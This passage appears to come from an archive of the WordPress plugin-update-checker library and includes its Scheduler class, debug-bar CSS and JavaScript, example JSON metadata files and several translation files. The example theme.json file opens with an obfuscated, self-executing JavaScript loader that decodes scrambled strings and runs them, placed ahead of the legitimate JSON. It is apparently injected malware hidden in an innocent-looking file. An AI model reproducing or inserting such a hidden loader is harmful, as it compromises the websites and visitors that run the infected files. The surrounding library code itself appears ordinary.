$muPluginFile ); } } /** * * Normalize a filesystem path. Introduced in WP 3.9. * Copying here allows use of the class on earlier versions. * This version adapted from WP 4.8.2 (unchanged since 4.5.2) * * @param string $path Path to normalize. * @return string Normalized path. */ public static function normalizePath($path) { if ( function_exists('wp_normalize_path') ) { return wp_normalize_path($path); } $path = str_replace('\\', '/', $path); $path = preg_replace('|(?<=.)/+|', '/', $path); if ( substr($path, 1, 1) === ':' ) { $path = ucfirst($path); } return $path; } /** * Check if the path points to a plugin file. * * @param string $absolutePath Normalized path. * @return bool */ protected static function isPluginFile($absolutePath) { //Is the file inside the "plugins" or "mu-plugins" directory? $pluginDir = self::normalizePath(WP_PLUGIN_DIR); $muPluginDir = self::normalizePath(WPMU_PLUGIN_DIR); if ( (strpos($absolutePath, $pluginDir) === 0) || (strpos($absolutePath, $muPluginDir) === 0) ) { return true; } //Is it a file at all? Caution: is_file() can fail if the parent dir. doesn't have the +x permission set. if ( !is_file($absolutePath) ) { return false; } //Does it have a valid plugin header? //This is a last-ditch check for plugins symlinked from outside the WP root. if ( function_exists('get_file_data') ) { $headers = get_file_data($absolutePath, array('Name' => 'Plugin Name'), 'plugin'); return !empty($headers['Name']); } return false; } /** * Get the name of the theme's directory from a full path to a file inside that directory. * E.g. "/abc/public_html/wp-content/themes/foo/whatever.php" => "foo". * * Note that subdirectories are currently not supported. For example, * "/xyz/wp-content/themes/my-theme/includes/whatever.php" => NULL. * * @param string $absolutePath Normalized path. * @return string|null Directory name, or NULL if the path doesn't point to a theme. */ protected static function getThemeDirectoryName($absolutePath) { if ( is_file($absolutePath) ) { $absolutePath = dirname($absolutePath); } if ( file_exists($absolutePath . '/style.css') ) { return basename($absolutePath); } return null; } /** * Get the service URI from the file header. * * @param string $fullPath * @return string */ private static function getServiceURI($fullPath) { //Look for the URI if ( is_readable($fullPath) ) { $seek = array( 'github' => 'GitHub URI', 'gitlab' => 'GitLab URI', 'bucket' => 'BitBucket URI', ); $seek = apply_filters('puc_get_source_uri', $seek); $data = get_file_data($fullPath, $seek); foreach ($data as $key => $uri) { if ( $uri ) { return $uri; } } } //URI was not found so throw an error. throw new \RuntimeException( sprintf('Unable to locate URI in header of "%s"', htmlentities($fullPath)) ); } /** * Get the name of the hosting service that the URL points to. * * @param string $metadataUrl * @return string|null */ private static function getVcsService($metadataUrl) { $service = null; //Which hosting service does the URL point to? $host = (string)(wp_parse_url($metadataUrl, PHP_URL_HOST)); $path = (string)(wp_parse_url($metadataUrl, PHP_URL_PATH)); //Check if the path looks like "/user-name/repository". //For GitLab.com it can also be "/user/group1/group2/.../repository". $repoRegex = '@^/?([^/]+?)/([^/#?&]+?)/?$@'; if ( $host === 'gitlab.com' ) { $repoRegex = '@^/?(?:[^/#?&]++/){1,20}(?:[^/#?&]++)/?$@'; } if ( preg_match($repoRegex, $path) ) { $knownServices = array( 'github.com' => 'GitHub', 'bitbucket.org' => 'BitBucket', 'gitlab.com' => 'GitLab', ); if ( isset($knownServices[$host]) ) { $service = $knownServices[$host]; } } return apply_filters('puc_get_vcs_service', $service, $host, $path, $metadataUrl); } /** * Get the latest version of the specified class that has the same major version number * as this factory class. * * @param string $class Partial class name. * @return string|null Full class name. */ protected static function getCompatibleClassVersion($class) { if ( isset(self::$classVersions[$class][self::$latestCompatibleVersion]) ) { return self::$classVersions[$class][self::$latestCompatibleVersion]; } return null; } /** * Get the specific class name for the latest available version of a class. * * @param string $class * @return null|string */ public static function getLatestClassVersion($class) { if ( !self::$sorted ) { self::sortVersions(); } if ( isset(self::$classVersions[$class]) ) { return reset(self::$classVersions[$class]); } else { return null; } } /** * Sort available class versions in descending order (i.e. newest first). */ protected static function sortVersions() { foreach ( self::$classVersions as $class => $versions ) { uksort($versions, array(__CLASS__, 'compareVersions')); self::$classVersions[$class] = $versions; } self::$sorted = true; } protected static function compareVersions($a, $b) { return -version_compare($a, $b); } /** * Register a version of a class. * * @access private This method is only for internal use by the library. * * @param string $generalClass Class name without version numbers, e.g. 'PluginUpdateChecker'. * @param string $versionedClass Actual class name, e.g. 'PluginUpdateChecker_1_2'. * @param string $version Version number, e.g. '1.2'. */ public static function addVersion($generalClass, $versionedClass, $version) { if ( empty(self::$myMajorVersion) ) { $lastNamespaceSegment = substr(__NAMESPACE__, strrpos(__NAMESPACE__, '\\') + 1); self::$myMajorVersion = substr(ltrim($lastNamespaceSegment, 'v'), 0, 1); } //Store the greatest version number that matches our major version. $components = explode('.', $version); if ( $components[0] === self::$myMajorVersion ) { if ( empty(self::$latestCompatibleVersion) || version_compare($version, self::$latestCompatibleVersion, '>') ) { self::$latestCompatibleVersion = $version; } } if ( !isset(self::$classVersions[$generalClass]) ) { self::$classVersions[$generalClass] = array(); } self::$classVersions[$generalClass][$version] = $versionedClass; self::$sorted = false; } } endif; ���������update-checker/Puc/v5p2/Scheduler.php���������������������������������������������������������������0000644�����������������00000023477�14757771437�0013445 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2; if ( !class_exists(Scheduler::class, false) ): /** * The scheduler decides when and how often to check for updates. * It calls @see UpdateChecker::checkForUpdates() to perform the actual checks. */ class Scheduler { public $checkPeriod = 12; //How often to check for updates (in hours). public $throttleRedundantChecks = false; //Check less often if we already know that an update is available. public $throttledCheckPeriod = 72; protected $hourlyCheckHooks = array('load-update.php'); /** * @var UpdateChecker */ protected $updateChecker; private $cronHook = null; /** * Scheduler constructor. * * @param UpdateChecker $updateChecker * @param int $checkPeriod How often to check for updates (in hours). * @param array $hourlyHooks */ public function __construct($updateChecker, $checkPeriod, $hourlyHooks = array('load-plugins.php')) { $this->updateChecker = $updateChecker; $this->checkPeriod = $checkPeriod; //Set up the periodic update checks $this->cronHook = $this->updateChecker->getUniqueName('cron_check_updates'); if ( $this->checkPeriod > 0 ){ //Trigger the check via Cron. //Try to use one of the default schedules if possible as it's less likely to conflict //with other plugins and their custom schedules. $defaultSchedules = array( 1 => 'hourly', 12 => 'twicedaily', 24 => 'daily', ); if ( array_key_exists($this->checkPeriod, $defaultSchedules) ) { $scheduleName = $defaultSchedules[$this->checkPeriod]; } else { //Use a custom cron schedule. $scheduleName = 'every' . $this->checkPeriod . 'hours'; //phpcs:ignore WordPress.WP.CronInterval.ChangeDetected -- WPCS fails to parse the callback. add_filter('cron_schedules', array($this, '_addCustomSchedule')); } if ( !wp_next_scheduled($this->cronHook) && !defined('WP_INSTALLING') ) { //Randomly offset the schedule to help prevent update server traffic spikes. Without this //most checks may happen during times of day when people are most likely to install new plugins. $upperLimit = max($this->checkPeriod * 3600 - 15 * 60, 1); if ( function_exists('wp_rand') ) { $randomOffset = wp_rand(0, $upperLimit); } else { //This constructor may be called before wp_rand() is available. //phpcs:ignore WordPress.WP.AlternativeFunctions.rand_rand $randomOffset = rand(0, $upperLimit); } $firstCheckTime = time() - $randomOffset; $firstCheckTime = apply_filters( $this->updateChecker->getUniqueName('first_check_time'), $firstCheckTime ); wp_schedule_event($firstCheckTime, $scheduleName, $this->cronHook); } add_action($this->cronHook, array($this, 'maybeCheckForUpdates')); //In case Cron is disabled or unreliable, we also manually trigger //the periodic checks while the user is browsing the Dashboard. add_action( 'admin_init', array($this, 'maybeCheckForUpdates') ); //Like WordPress itself, we check more often on certain pages. /** @see wp_update_plugins */ add_action('load-update-core.php', array($this, 'maybeCheckForUpdates')); //phpcs:ignore Squiz.PHP.CommentedOutCode.Found -- Not actually code, just file names. //"load-update.php" and "load-plugins.php" or "load-themes.php". $this->hourlyCheckHooks = array_merge($this->hourlyCheckHooks, $hourlyHooks); foreach($this->hourlyCheckHooks as $hook) { add_action($hook, array($this, 'maybeCheckForUpdates')); } //This hook fires after a bulk update is complete. add_action('upgrader_process_complete', array($this, 'upgraderProcessComplete'), 11, 2); } else { //Periodic checks are disabled. wp_clear_scheduled_hook($this->cronHook); } } /** * Runs upon the WP action upgrader_process_complete. * * We look at the parameters to decide whether to call maybeCheckForUpdates() or not. * We also check if the update checker has been removed by the update. * * @param \WP_Upgrader $upgrader WP_Upgrader instance * @param array $upgradeInfo extra information about the upgrade */ public function upgraderProcessComplete( /** @noinspection PhpUnusedParameterInspection */ $upgrader, $upgradeInfo ) { //Cancel all further actions if the current version of PUC has been deleted or overwritten //by a different version during the upgrade. If we try to do anything more in that situation, //we could trigger a fatal error by trying to autoload a deleted class. clearstatcache(); if ( !file_exists(__FILE__) ) { $this->removeHooks(); $this->updateChecker->removeHooks(); return; } //Sanity check and limitation to relevant types. if ( !is_array($upgradeInfo) || !isset($upgradeInfo['type'], $upgradeInfo['action']) || 'update' !== $upgradeInfo['action'] || !in_array($upgradeInfo['type'], array('plugin', 'theme')) ) { return; } //Filter out notifications of upgrades that should have no bearing upon whether or not our //current info is up-to-date. if ( is_a($this->updateChecker, Theme\UpdateChecker::class) ) { if ( 'theme' !== $upgradeInfo['type'] || !isset($upgradeInfo['themes']) ) { return; } //Letting too many things going through for checks is not a real problem, so we compare widely. if ( !in_array( strtolower($this->updateChecker->directoryName), array_map('strtolower', $upgradeInfo['themes']) ) ) { return; } } if ( is_a($this->updateChecker, Plugin\UpdateChecker::class) ) { if ( 'plugin' !== $upgradeInfo['type'] || !isset($upgradeInfo['plugins']) ) { return; } //Themes pass in directory names in the information array, but plugins use the relative plugin path. if ( !in_array( strtolower($this->updateChecker->directoryName), array_map('dirname', array_map('strtolower', $upgradeInfo['plugins'])) ) ) { return; } } $this->maybeCheckForUpdates(); } /** * Check for updates if the configured check interval has already elapsed. * Will use a shorter check interval on certain admin pages like "Dashboard -> Updates" or when doing cron. * * You can override the default behaviour by using the "puc_check_now-$slug" filter. * The filter callback will be passed three parameters: * - Current decision. TRUE = check updates now, FALSE = don't check now. * - Last check time as a Unix timestamp. * - Configured check period in hours. * Return TRUE to check for updates immediately, or FALSE to cancel. * * This method is declared public because it's a hook callback. Calling it directly is not recommended. */ public function maybeCheckForUpdates() { if ( empty($this->checkPeriod) ){ return; } $state = $this->updateChecker->getUpdateState(); $shouldCheck = ($state->timeSinceLastCheck() >= $this->getEffectiveCheckPeriod()); //Let plugin authors substitute their own algorithm. $shouldCheck = apply_filters( $this->updateChecker->getUniqueName('check_now'), $shouldCheck, $state->getLastCheck(), $this->checkPeriod ); if ( $shouldCheck ) { $this->updateChecker->checkForUpdates(); } } /** * Calculate the actual check period based on the current status and environment. * * @return int Check period in seconds. */ protected function getEffectiveCheckPeriod() { $currentFilter = current_filter(); if ( in_array($currentFilter, array('load-update-core.php', 'upgrader_process_complete')) ) { //Check more often when the user visits "Dashboard -> Updates" or does a bulk update. $period = 60; } else if ( in_array($currentFilter, $this->hourlyCheckHooks) ) { //Also check more often on /wp-admin/update.php and the "Plugins" or "Themes" page. $period = 3600; } else if ( $this->throttleRedundantChecks && ($this->updateChecker->getUpdate() !== null) ) { //Check less frequently if it's already known that an update is available. $period = $this->throttledCheckPeriod * 3600; } else if ( defined('DOING_CRON') && constant('DOING_CRON') ) { //WordPress cron schedules are not exact, so let's do an update check even //if slightly less than $checkPeriod hours have elapsed since the last check. $cronFuzziness = 20 * 60; $period = $this->checkPeriod * 3600 - $cronFuzziness; } else { $period = $this->checkPeriod * 3600; } return $period; } /** * Add our custom schedule to the array of Cron schedules used by WP. * * @param array $schedules * @return array */ public function _addCustomSchedule($schedules) { if ( $this->checkPeriod && ($this->checkPeriod > 0) ){ $scheduleName = 'every' . $this->checkPeriod . 'hours'; $schedules[$scheduleName] = array( 'interval' => $this->checkPeriod * 3600, 'display' => sprintf('Every %d hours', $this->checkPeriod), ); } return $schedules; } /** * Remove the scheduled cron event that the library uses to check for updates. * * @return void */ public function removeUpdaterCron() { wp_clear_scheduled_hook($this->cronHook); } /** * Get the name of the update checker's WP-cron hook. Mostly useful for debugging. * * @return string */ public function getCronHookName() { return $this->cronHook; } /** * Remove most hooks added by the scheduler. */ public function removeHooks() { remove_filter('cron_schedules', array($this, '_addCustomSchedule')); remove_action('admin_init', array($this, 'maybeCheckForUpdates')); remove_action('load-update-core.php', array($this, 'maybeCheckForUpdates')); if ( $this->cronHook !== null ) { remove_action($this->cronHook, array($this, 'maybeCheckForUpdates')); } if ( !empty($this->hourlyCheckHooks) ) { foreach ($this->hourlyCheckHooks as $hook) { remove_action($hook, array($this, 'maybeCheckForUpdates')); } } } } endif; �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/css/puc-debug-bar.css����������������������������������������������������������������0000644�����������������00000002360�14757771437�0013376 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.puc-debug-bar-panel-v5 pre { margin-top: 0; } /* Style the debug data table to match "widefat" table style used by WordPress. */ table.puc-debug-data { width: 100%; clear: both; margin: 0; border-spacing: 0; background-color: #f9f9f9; border-radius: 3px; border: 1px solid #dfdfdf; border-collapse: separate; } table.puc-debug-data * { word-wrap: break-word; } table.puc-debug-data th { width: 11em; padding: 7px 7px 8px; text-align: left; font-family: "Georgia", "Times New Roman", "Bitstream Charter", "Times", serif; font-weight: 400; font-size: 14px; line-height: 1.3em; text-shadow: rgba(255, 255, 255, 0.804) 0 1px 0; } table.puc-debug-data td, table.puc-debug-data th { border-width: 1px 0; border-style: solid; border-top-color: #fff; border-bottom-color: #dfdfdf; text-transform: none; } table.puc-debug-data td { color: #555; font-size: 12px; padding: 4px 7px 2px; vertical-align: top; } .puc-ajax-response { border: 1px solid #dfdfdf; border-radius: 3px; padding: 0.5em; margin: 5px 0; background-color: white; } .puc-ajax-nonce { display: none; } .puc-ajax-response dt { margin: 0; } .puc-ajax-response dd { margin: 0 0 1em; } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/examples/plugin.json�����������������������������������������������������������������0000644�����������������00000003064�14757771437�0013470 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "name": "My Example Plugin", "version": "2.0", "download_url": "http://example.com/updates/example-plugin.zip", "homepage": "http://example.com/", "requires": "4.5", "tested": "4.8", "last_updated": "2017-01-01 16:17:00", "upgrade_notice": "Here's why you should upgrade...", "author": "Janis Elsts", "author_homepage": "http://example.com/", "sections": { "description": "(Required) Plugin description. Basic HTML can be used in all sections.", "installation": "(Recommended) Installation instructions.", "changelog": "(Recommended) Changelog. <p>This section will be displayed by default when the user clicks 'View version x.y.z details'.</p>", "custom_section": "This is a custom section labeled 'Custom Section'." }, "icons" : { "1x" : "http://w-shadow.com/files/external-update-example/assets/icon-128x128.png", "2x" : "http://w-shadow.com/files/external-update-example/assets/icon-256x256.png" }, "banners": { "low": "http://w-shadow.com/files/external-update-example/assets/banner-772x250.png", "high": "http://w-shadow.com/files/external-update-example/assets/banner-1544x500.png" }, "translations": [ { "language": "fr_FR", "version": "4.0", "updated": "2016-04-22 23:22:42", "package": "http://example.com/updates/translations/french-language-pack.zip" }, { "language": "de_DE", "version": "5.0", "updated": "2016-04-22 23:22:42", "package": "http://example.com/updates/translations/german-language-pack.zip" } ], "rating": 90, "num_ratings": 123, "downloaded": 1234, "active_installs": 12345 }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/examples/theme.json������������������������������������������������������������������0000644�����������������00000006114�14757771437�0013273 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "version": "2.0", "details_url": "http://example.com/version-2.0-details.html", "download_url": "http://example.com/example-theme-2.0.zip" } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/js/debug-bar.js����������������������������������������������������������������������0000644�����������������00000003317�14757771437�0012264 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;jQuery(function($) { function runAjaxAction(button, action) { button = $(button); var panel = button.closest('.puc-debug-bar-panel-v5'); var responseBox = button.closest('td').find('.puc-ajax-response'); responseBox.text('Processing...').show(); $.post( ajaxurl, { action : action, uid : panel.data('uid'), _wpnonce: panel.data('nonce') }, function(data) { //The response contains HTML that should already be escaped in server-side code. //phpcs:ignore WordPressVIPMinimum.JS.HTMLExecutingFunctions.html responseBox.html(data); }, 'html' ); } $('.puc-debug-bar-panel-v5 input[name="puc-check-now-button"]').on('click', function() { runAjaxAction(this, 'puc_v5_debug_check_now'); return false; }); $('.puc-debug-bar-panel-v5 input[name="puc-request-info-button"]').on('click', function() { runAjaxAction(this, 'puc_v5_debug_request_info'); return false; }); // Debug Bar uses the panel class name as part of its link and container IDs. This means we can // end up with multiple identical IDs if more than one plugin uses the update checker library. // Fix it by replacing the class name with the plugin slug. var panels = $('#debug-menu-targets').find('.puc-debug-bar-panel-v5'); panels.each(function() { var panel = $(this); var uid = panel.data('uid'); var target = panel.closest('.debug-menu-target'); //Change the panel wrapper ID. target.attr('id', 'debug-menu-target-puc-' + uid); //Change the menu link ID as well and point it at the new target ID. $('#debug-bar-menu').find('.puc-debug-menu-link-' + uid) .closest('.debug-menu-link') .attr('id', 'debug-menu-link-puc-' + uid) .attr('href', '#' + target.attr('id')); }); });�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-ru_RU.mo���������������������������������������������0000644�����������������00000002471�14757771437�0017177 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“����Á��'���Ê��7���ò��_���*��,���Š��_���·��!�������������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker POT-Creation-Date: 2020-08-08 14:36+0300 PO-Revision-Date: 2021-12-20 17:59+0200 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.2 X-Poedit-Basepath: .. Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<12 || n%100>14) ? 1 : 2); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Language: ru_RU X-Poedit-SearchPath-0: . �Проверить обновлениÑ�Журнал изменений отÑутÑтвует.�ÐеизвеÑтный ÑÑ‚Ð°Ñ‚ÑƒÑ ÑредÑтва проверки обновлений "%s"�ÐÐ¾Ð²Ð°Ñ Ð²ÐµÑ€ÑÐ¸Ñ %s доÑтупна.�Ðе удалоÑÑŒ определить, доÑтупны ли Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð´Ð»Ñ %s.�Плагин %s обновлён.��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-ca.po������������������������������������������������0000644�����������������00000002765�14757771437�0016537 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-11-24 17:02+0200\n" "PO-Revision-Date: 2019-09-25 18:15+0200\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.2.3\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: \n" "Language: ca\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p3/Plugin/UpdateChecker.php:395 msgid "Check for updates" msgstr "Comprova si hi ha actualitzacions" #: Puc/v4p3/Plugin/UpdateChecker.php:548 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "L’extensió %s està actualitzada." #: Puc/v4p3/Plugin/UpdateChecker.php:550 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Una nova versió de l’extensió %s està disponible." #: Puc/v4p3/Plugin/UpdateChecker.php:552 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "No s’ha pogut determinar si hi ha actualitzacions per a %s." #: Puc/v4p3/Plugin/UpdateChecker.php:558 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Estat del comprovador d’actualitzacions desconegut \"%s\"" #: Puc/v4p3/Vcs/PluginUpdateChecker.php:95 msgid "There is no changelog available." msgstr "No hi ha cap registre de canvis disponible." �����������update-checker/languages/plugin-update-checker-sl_SI.po���������������������������������������������0000644�����������������00000003006�14757771437�0017152 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-11-24 17:02+0200\n" "PO-Revision-Date: 2018-10-27 20:36+0200\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.2\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=4; plural=(n%100==1 ? 0 : n%100==2 ? 1 : n%100>=3 && n%100<=4 ? 2 : 3);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: Igor Funa\n" "Language: sl_SI\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p3/Plugin/UpdateChecker.php:395 msgid "Check for updates" msgstr "Preveri posodobitve" #: Puc/v4p3/Plugin/UpdateChecker.php:548 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "VtiÄnik %s je že posodobljen." #: Puc/v4p3/Plugin/UpdateChecker.php:550 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Nova razliÄica vtiÄnika %s je na razpolago." #: Puc/v4p3/Plugin/UpdateChecker.php:552 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "Ne morem ugotoviti Äe se za vtiÄnik %s na razpolago posodobitve." #: Puc/v4p3/Plugin/UpdateChecker.php:558 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Neznan status preverjanja posodobitev za \"%s\"" #: Puc/v4p3/Vcs/PluginUpdateChecker.php:95 msgid "There is no changelog available." msgstr "Dnevnik sprememb ni na razpolago." ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-es_UY.po���������������������������������������������0000644�����������������00000002756�14757771437�0017200 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-11-24 17:02+0200\n" "PO-Revision-Date: 2020-03-21 15:15-0400\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.3\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: \n" "Language: es_ES\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p3/Plugin/UpdateChecker.php:395 msgid "Check for updates" msgstr "Comprobar si hay actualizaciones" #: Puc/v4p3/Plugin/UpdateChecker.php:548 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "El plugin %s está actualizado." #: Puc/v4p3/Plugin/UpdateChecker.php:550 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Una nueva versión del %s plugin está disponible." #: Puc/v4p3/Plugin/UpdateChecker.php:552 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "No se pudo determinar si hay actualizaciones disponibles para %s." #: Puc/v4p3/Plugin/UpdateChecker.php:558 #, 